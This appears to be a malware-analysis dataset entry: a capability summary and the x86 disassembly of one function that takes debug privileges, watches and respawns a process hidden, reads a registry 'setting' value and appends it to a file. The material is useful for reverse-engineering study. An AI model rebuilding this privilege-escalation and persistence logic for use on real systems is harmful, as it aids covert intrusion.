Function at 0x100017e0
Capabilities:
Acquire debug privileges
Create process on windows
Create process suspended
Query or enumerate registry value
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x46c
push ebx
mov ebx, dword [esp + 0x474]
push ebp
push esi
test ebx, ebx
je 0x10001a6a
push 1
push str.SeDebugPrivilege
call fcn.10001740
push str.yycchy
push 1
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov esi, eax
test esi, esi
je 0x10001a5e
mov eax, dword [ebx]
test eax, eax
je 0x10001a6a
push eax
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x18], ebp
je 0x10001a6a
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x38], 0x44
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
push 0xa
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1000192e
lea ecx, [esp + 0x14]
push ecx
push ebp
call edi
test eax, eax
je 0x10001872
cmp dword [esp + 0x14], 0x103
je 0x10001872
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebp
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 8
call dword [sym.imp.MSVCRT.dll_rand]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
mov eax, 0x80010003
shl ecx, 4
imul ecx
add edx, ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
lea eax, [edx + eax + 0x3e8]
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x24]
lea edx, [esp + 0x38]
push ecx
push edx
push 0
push 0
push 0x8000000
push 0
push 0
lea eax, [ebx + 0xa4]
push 0
add ebx, 4
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10001a56
mov ecx, dword [esp + 0x24]
push ecx
call ebp
mov edx, dword [esp + 0x28]
push edx
call ebp
jmp 0x10001a56
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebp
lea eax, [esp + 0x14]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
call edi
test eax, eax
je 0x1000196b
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x14], 0x103
jne 0x1000196b
push 0x64
call esi
lea edx, [esp + 0x14]
mov eax, dword [esp + 0x1c]
push edx
push eax
call edi
test eax, eax
jne 0x1000194d
lea ecx, [esp + 0x20]
push ecx
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001a56
lea edx, [esp + 0x10]
lea eax, [esp + 0x7c]
push edx
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x1c]
push eax
push ecx
push 0
push str.setting
push edx
mov dword [esp + 0x28], 0x400
mov dword [esp + 0x30], 3
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10001a4b
push eax
push 0x80
push 3
push eax
push 1
add ebx, 4
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x10001a4b
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push 0
neg eax
push eax
push esi
call edi
lea ecx, [esp + 0x34]
push 0
push ecx
lea edx, [esp + 0x20]
push 4
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 2
push 0
cmp dword [esp + 0x20], 0x31323334
je 0x10001a23
push 0
jmp 0x10001a2a
mov eax, dword [esp + 0x18]
neg eax
push eax
push esi
call edi
lea ecx, [esp + 0x10]
push 0
mov edx, dword [esp + 0x14]
push ecx
lea eax, [esp + 0x84]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call ebp
mov ecx, dword [esp + 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x1c]
push edx
call ebp
pop edi
push 0
push str.SeDebugPrivilege
call fcn.10001740
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x46c
ret 4